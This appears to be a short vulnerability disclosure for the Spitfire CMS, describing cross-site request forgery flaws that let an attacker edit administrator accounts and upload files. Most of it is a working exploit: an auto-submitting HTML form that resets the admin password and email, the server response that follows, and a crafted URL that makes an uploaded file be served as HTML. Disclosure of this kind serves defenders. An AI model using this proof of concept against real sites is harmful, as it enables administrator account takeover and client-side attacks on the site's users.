Summary:
========
1. CSRF - Adding/Editing administrator account / UPLOAD FILE
1. CSRF - Adding/Editing administrator account:
===============================================
Spitefire cms ain't a well-coded CMS having many errors and low performance... It is not protected from CSRF as attackers are capable of adding/editing administrators account, or ever uploading a file through CSRF. I'm only giving example of chaning administrator's details:
<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
action="http://localhost/spitfire_site/cms/edit/tpl_user_settings_action.php" method="post">
<input type="hidden" name="value[password]" value="arian123">
<input type="hidden" name="value[password2]" value="arian123">
<input type="hidden" name="value[email]" value="y.shahinzadeh@gmail.com">
<input type="hidden" name="action" value="save">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>
After issuing exploit, something like that may be appeared:
status = {'values':{'id':'1','realname':'Administrator','username':'admin','password':'','groups':{'all':'7','1':'4'},'may_edit_users':'1','is_admin':'1','status':'0','is_ldap_user':'0','must_change_password':'','email':'admin@admin.net','language':'en'},'messages':{},'quickbar':{'disabledButtons':{'save':'1','redo':'1'}},'statusbar':{'value':' #1'}};
I would expand on upload procedure, at the beginning of the installing site, the author is forced to give a writable directory for saving files, finding the given directory aint much difficult (default is /site/files/). The upload form doesn't have CSRF token so attacker can upload malicious file containing HTML/JAVA codes. The file will be renamed to a file without any extention after uploading, so only client side exploits and attacks can be conducted. Since file_get_contents() function executes file, the attacker must give the crafted URL which is similar to following URL:
http://localhost/spitfire_site/cms/file.php?cms_id=4&name=logo&type=text/html
text/html is the dangerous part because it's set image/gif as default.
